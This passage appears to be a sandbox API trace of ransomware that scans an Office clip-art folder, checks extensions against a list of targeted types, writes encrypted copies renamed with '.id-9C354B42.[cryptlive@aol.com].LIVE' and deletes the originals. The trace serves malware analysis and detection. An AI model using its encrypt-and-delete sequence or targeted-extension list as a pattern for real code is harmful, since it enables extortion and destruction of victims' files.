returned -1 [0153.699] lstrlenW (lpString=".7z") returned 3 [0153.699] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.699] lstrlenW (lpString=".dbf") returned 4 [0153.699] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.699] lstrlenW (lpString=".1cd") returned 4 [0153.699] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0153.699] lstrlenW (lpString=".jpg") returned 4 [0153.699] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.699] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.699] lstrlenW (lpString="J0106572.WMF") returned 12 [0153.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.701] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2148) returned 1 [0153.701] CloseHandle (hObject=0x1e0) returned 1 [0153.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0153.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.702] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.702] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.703] GetLastError () returned 0x0 [0153.703] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x864, lpOverlapped=0x0) returned 1 [0153.704] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x870, lpOverlapped=0x0) returned 1 [0153.705] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.705] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.705] SetEndOfFile (hFile=0x1f8) returned 1 [0153.706] CloseHandle (hObject=0x1f8) returned 1 [0153.706] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.706] SetEndOfFile (hFile=0x1e0) returned 1 [0153.708] CloseHandle (hObject=0x1e0) returned 1 [0153.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0153.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.709] lstrlenW (lpString=".doc") returned 4 [0153.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.709] lstrlenW (lpString=".docx") returned 5 [0153.709] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.709] lstrlenW (lpString=".pdf") returned 4 [0153.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.709] lstrlenW (lpString=".xls") returned 4 [0153.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.709] lstrlenW (lpString=".xlsx") returned 5 [0153.709] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.709] lstrlenW (lpString=".ppt") returned 4 [0153.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.709] lstrlenW (lpString=".zip") returned 4 [0153.709] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.709] lstrlenW (lpString=".rar") returned 4 [0153.709] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.709] lstrlenW (lpString=".bz2") returned 4 [0153.709] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.709] lstrlenW (lpString=".7z") returned 3 [0153.709] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.709] lstrlenW (lpString=".dbf") returned 4 [0153.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".1cd") returned 4 [0153.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".jpg") returned 4 [0153.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".doc") returned 4 [0153.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString=".docx") returned 5 [0153.710] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.710] lstrlenW (lpString=".pdf") returned 4 [0153.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString=".xls") returned 4 [0153.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.710] lstrlenW (lpString=".xlsx") returned 5 [0153.710] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.710] lstrlenW (lpString=".ppt") returned 4 [0153.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".zip") returned 4 [0153.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.710] lstrlenW (lpString=".rar") returned 4 [0153.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString=".bz2") returned 4 [0153.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString=".7z") returned 3 [0153.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".dbf") returned 4 [0153.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.710] lstrlenW (lpString=".1cd") returned 4 [0153.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0153.711] lstrlenW (lpString=".jpg") returned 4 [0153.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.711] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.711] lstrlenW (lpString="J0106816.WMF") returned 12 [0153.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.711] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3332) returned 1 [0153.711] CloseHandle (hObject=0x1e0) returned 1 [0153.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 0x20 [0153.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.712] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.712] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.713] GetLastError () returned 0x0 [0153.713] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xd04, lpOverlapped=0x0) returned 1 [0153.714] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xd10, lpOverlapped=0x0) returned 1 [0153.715] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.715] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.716] SetEndOfFile (hFile=0x1f8) returned 1 [0153.716] CloseHandle (hObject=0x1f8) returned 1 [0153.716] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.716] SetEndOfFile (hFile=0x1e0) returned 1 [0153.718] CloseHandle (hObject=0x1e0) returned 1 [0153.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0153.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.719] lstrlenW (lpString=".doc") returned 4 [0153.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.719] lstrlenW (lpString=".docx") returned 5 [0153.719] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.719] lstrlenW (lpString=".pdf") returned 4 [0153.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.719] lstrlenW (lpString=".xls") returned 4 [0153.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.720] lstrlenW (lpString=".xlsx") returned 5 [0153.720] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.720] lstrlenW (lpString=".ppt") returned 4 [0153.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString=".zip") returned 4 [0153.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.720] lstrlenW (lpString=".rar") returned 4 [0153.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString=".bz2") returned 4 [0153.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString=".7z") returned 3 [0153.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString=".dbf") returned 4 [0153.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString=".1cd") returned 4 [0153.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString=".jpg") returned 4 [0153.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.720] lstrlenW (lpString=".doc") returned 4 [0153.720] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString=".docx") returned 5 [0153.720] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.720] lstrlenW (lpString=".pdf") returned 4 [0153.720] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.720] lstrlenW (lpString=".xls") returned 4 [0153.720] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.720] lstrlenW (lpString=".xlsx") returned 5 [0153.720] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.720] lstrlenW (lpString=".ppt") returned 4 [0153.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.721] lstrlenW (lpString=".zip") returned 4 [0153.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.721] lstrlenW (lpString=".rar") returned 4 [0153.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.721] lstrlenW (lpString=".bz2") returned 4 [0153.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.721] lstrlenW (lpString=".7z") returned 3 [0153.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.721] lstrlenW (lpString=".dbf") returned 4 [0153.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.721] lstrlenW (lpString=".1cd") returned 4 [0153.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63 [0153.721] lstrlenW (lpString=".jpg") returned 4 [0153.721] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.721] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.721] lstrlenW (lpString="J0106958.WMF") returned 12 [0153.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.724] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13784) returned 1 [0153.724] CloseHandle (hObject=0x1e0) returned 1 [0153.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 0x20 [0153.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.724] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.724] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.725] GetLastError () returned 0x0 [0153.725] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x35d8, lpOverlapped=0x0) returned 1 [0154.120] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x35e0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x35e0, lpOverlapped=0x0) returned 1 [0154.124] ReadFile (in: hFile=0x1e0, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0154.124] WriteFile (in: hFile=0x1f8, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.124] SetEndOfFile (hFile=0x1f8) returned 1 [0154.124] CloseHandle (hObject=0x1f8) returned 1 [0154.124] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0154.124] SetEndOfFile (hFile=0x1e0) returned 1 [0154.204] CloseHandle (hObject=0x1e0) returned 1 [0154.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf")) returned 1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString=".doc") returned 4 [0154.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString=".docx") returned 5 [0154.392] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.392] lstrlenW (lpString=".pdf") returned 4 [0154.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString=".xls") returned 4 [0154.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.392] lstrlenW (lpString=".xlsx") returned 5 [0154.392] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.392] lstrlenW (lpString=".ppt") returned 4 [0154.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString=".zip") returned 4 [0154.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.392] lstrlenW (lpString=".rar") returned 4 [0154.392] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString=".bz2") returned 4 [0154.392] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString=".7z") returned 3 [0154.392] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString=".dbf") returned 4 [0154.392] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString=".1cd") returned 4 [0154.392] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.392] lstrlenW (lpString=".jpg") returned 4 [0154.392] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString=".doc") returned 4 [0154.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString=".docx") returned 5 [0154.393] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.393] lstrlenW (lpString=".pdf") returned 4 [0154.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString=".xls") returned 4 [0154.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.393] lstrlenW (lpString=".xlsx") returned 5 [0154.393] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.393] lstrlenW (lpString=".ppt") returned 4 [0154.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString=".zip") returned 4 [0154.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.393] lstrlenW (lpString=".rar") returned 4 [0154.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString=".bz2") returned 4 [0154.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString=".7z") returned 3 [0154.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString=".dbf") returned 4 [0154.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString=".1cd") returned 4 [0154.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF") returned 63 [0154.393] lstrlenW (lpString=".jpg") returned 4 [0154.393] lstrcmpiW 